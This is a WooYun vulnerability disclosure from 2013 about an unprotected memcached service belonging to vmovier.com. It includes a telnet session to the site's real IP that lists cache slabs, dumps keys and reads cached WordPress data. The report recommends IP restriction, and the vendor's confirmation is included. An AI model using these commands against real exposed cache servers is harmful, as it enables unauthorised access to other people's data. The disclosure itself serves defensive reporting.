当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-043727

漏洞标题：V电影某服务配置不当导致数据泄露可被攻击者控制

相关厂商：vmovier.com

漏洞作者： 秋风

提交时间：2013-11-25 15:02

修复时间：2014-01-09 15:03

公开时间：2014-01-09 15:03

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-25： 细节已通知厂商并且等待厂商处理中
2013-11-25： 厂商已经确认，细节仅向厂商公开
2013-12-05： 细节向核心白帽子及相关领域专家公开
2013-12-15： 细节向普通白帽子公开
2013-12-25： 细节向实习白帽子公开
2014-01-09： 细节向公众公开

简要描述：

不能让标题存在安全隐患。。。

详细说明：

不正确的memcache配置导致安全问题

$telnet 121.199.26.212 11211
Trying 121.199.26.212...
Connected to 121.199.26.212.
Escape character is '^]'.
stats items
STAT items:1:number 26
STAT items:1:age 16474690
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 3
STAT items:2:number 285
STAT items:2:age 18225226
STAT items:2:evicted 0
STAT items:2:evicted_nonzero 0
STAT items:2:evicted_time 0
STAT items:2:outofmemory 0
STAT items:2:tailrepairs 0
STAT items:2:reclaimed 0
STAT items:3:number 2
STAT items:3:age 18225347
STAT items:3:evicted 0
STAT items:3:evicted_nonzero 0
STAT items:3:evicted_time 0
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:3:reclaimed 25
STAT items:4:number 2
STAT items:4:age 18225348
STAT items:4:evicted 0
STAT items:4:evicted_nonzero 0
STAT items:4:evicted_time 0
STAT items:4:outofmemory 0
STAT items:4:tailrepairs 0
STAT items:4:reclaimed 0
STAT items:5:number 1
STAT items:5:age 18225349
STAT items:5:evicted 0
STAT items:5:evicted_nonzero 0
STAT items:5:evicted_time 0
STAT items:5:outofmemory 0
STAT items:5:tailrepairs 0
STAT items:5:reclaimed 9
STAT items:6:number 5
STAT items:6:age 18225349
STAT items:6:evicted 0
STAT items:6:evicted_nonzero 0
STAT items:6:evicted_time 0
STAT items:6:outofmemory 0
STAT items:6:tailrepairs 0
STAT items:6:reclaimed 0
STAT items:7:number 457
STAT items:7:age 18225351
STAT items:7:evicted 0
STAT items:7:evicted_nonzero 0
STAT items:7:evicted_time 0
STAT items:7:outofmemory 0
STAT items:7:tailrepairs 0
STAT items:7:reclaimed 3
STAT items:8:number 405
STAT items:8:age 18225532
STAT items:8:evicted 0
STAT items:8:evicted_nonzero 0
STAT items:8:evicted_time 0
STAT items:8:outofmemory 0
STAT items:8:tailrepairs 0
STAT items:8:reclaimed 2
STAT items:9:number 27
STAT items:9:age 18225692
STAT items:9:evicted 0
STAT items:9:evicted_nonzero 0
STAT items:9:evicted_time 0
STAT items:9:outofmemory 0
STAT items:9:tailrepairs 0
STAT items:9:reclaimed 3
STAT items:10:number 204
STAT items:10:age 18225703
STAT items:10:evicted 0
STAT items:10:evicted_nonzero 0
STAT items:10:evicted_time 0
STAT items:10:outofmemory 0
STAT items:10:tailrepairs 0
STAT items:10:reclaimed 0
STAT items:11:number 84
STAT items:11:age 18225767
STAT items:11:evicted 0
STAT items:11:evicted_nonzero 0
STAT items:11:evicted_time 0
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:11:reclaimed 5
STAT items:12:number 145
STAT items:12:age 18225794
STAT items:12:evicted 0
STAT items:12:evicted_nonzero 0
STAT items:12:evicted_time 0
STAT items:12:outofmemory 0
STAT items:12:tailrepairs 0
STAT items:12:reclaimed 41
STAT items:13:number 64
STAT items:13:age 18225842
STAT items:13:evicted 0
STAT items:13:evicted_nonzero 0
STAT items:13:evicted_time 0
STAT items:13:outofmemory 0
STAT items:13:tailrepairs 0
STAT items:13:reclaimed 18
STAT items:14:number 31
STAT items:14:age 18225862
STAT items:14:evicted 0
STAT items:14:evicted_nonzero 0
STAT items:14:evicted_time 0
STAT items:14:outofmemory 0
STAT items:14:tailrepairs 0
STAT items:14:reclaimed 2
STAT items:15:number 17
STAT items:15:age 18225876
STAT items:15:evicted 0
STAT items:15:evicted_nonzero 0
STAT items:15:evicted_time 0
STAT items:15:outofmemory 0
STAT items:15:tailrepairs 0
STAT items:15:reclaimed 42
STAT items:16:number 50
STAT items:16:age 18225884
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 8
STAT items:17:number 100
STAT items:17:age 18225901
STAT items:17:evicted 0
STAT items:17:evicted_nonzero 0
STAT items:17:evicted_time 0
STAT items:17:outofmemory 0
STAT items:17:tailrepairs 0
STAT items:17:reclaimed 1
STAT items:18:number 41
STAT items:18:age 18225960
STAT items:18:evicted 0
STAT items:18:evicted_nonzero 0
STAT items:18:evicted_time 0
STAT items:18:outofmemory 0
STAT items:18:tailrepairs 0
STAT items:18:reclaimed 0
STAT items:19:number 12
STAT items:19:age 18225977
STAT items:19:evicted 0
STAT items:19:evicted_nonzero 0
STAT items:19:evicted_time 0
STAT items:19:outofmemory 0
STAT items:19:tailrepairs 0
STAT items:19:reclaimed 0
STAT items:20:number 14
STAT items:20:age 18225985
STAT items:20:evicted 0
STAT items:20:evicted_nonzero 0
STAT items:20:evicted_time 0
STAT items:20:outofmemory 0
STAT items:20:tailrepairs 0
STAT items:20:reclaimed 0
STAT items:22:number 6
STAT items:22:age 18225990
STAT items:22:evicted 0
STAT items:22:evicted_nonzero 0
STAT items:22:evicted_time 0
STAT items:22:outofmemory 0
STAT items:22:tailrepairs 0
STAT items:22:reclaimed 0
STAT items:23:number 4
STAT items:23:age 18225992
STAT items:23:evicted 0
STAT items:23:evicted_nonzero 0
STAT items:23:evicted_time 0
STAT items:23:outofmemory 0
STAT items:23:tailrepairs 0
STAT items:23:reclaimed 5
STAT items:24:number 5
STAT items:24:age 18225993
STAT items:24:evicted 0
STAT items:24:evicted_nonzero 0
STAT items:24:evicted_time 0
STAT items:24:outofmemory 0
STAT items:24:tailrepairs 0
STAT items:24:reclaimed 0
END
stats cachedump 10 10
ITEM wp_:category_relationships:25292 [610 b; 1366809596 s]
ITEM wp_:category_relationships:26381 [610 b; 1366809596 s]
ITEM wp_:category_relationships:22802 [610 b; 1366809596 s]
ITEM wp_:category_relationships:21064 [610 b; 1366809596 s]
ITEM wp_:category_relationships:21861 [610 b; 1366809596 s]
ITEM wp_:category_relationships:22677 [610 b; 1366809596 s]
ITEM wp_:category_relationships:26344 [610 b; 1366809596 s]
ITEM wp_:category_relationships:19610 [610 b; 1366809596 s]
ITEM wp_:post_tag_relationships:19610 [611 b; 1366809596 s]
ITEM wp_:category_relationships:21675 [610 b; 1366809596 s]
END
get wp_:category_relationships:25292
VALUE wp_:category_relationships:25292 1 610
a:2:{i:5;O:8:"stdClass":10:{s:7:"term_id";s:1:"5";s:4:"name";s:15:"微电影频道";s:4:"slug";s:7:"channel";s:10:"term_group";s:1:"0";s:16:"term_taxonomy_id";s:1:"5";s:8:"taxonomy";s:8:"category";s:11:"description";s:0:"";s:6:"parent";s:1:"0";s:5:"count";s:4:"1874";s:9:"object_id";s:5:"25292";}i:564;O:8:"stdClass":10:{s:7:"term_id";s:3:"564";s:4:"name";s:6:"科幻";s:4:"slug";s:7:"fiction";s:10:"term_group";s:1:"0";s:16:"term_taxonomy_id";s:3:"564";s:8:"taxonomy";s:8:"category";s:11:"description";s:27:"一刻钟游遍科幻世界";s:6:"parent";s:1:"5";s:5:"count";s:2:"66";s:9:"object_id";s:5:"25292";}}
END

漏洞证明：

_725.png


_724.png


_723.png

修复方案：

限制ip

版权声明：转载请注明来源 秋风@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-11-25 15:10

厂商回复：

感谢你的反馈，疏忽了，马上改

最新状态：

暂无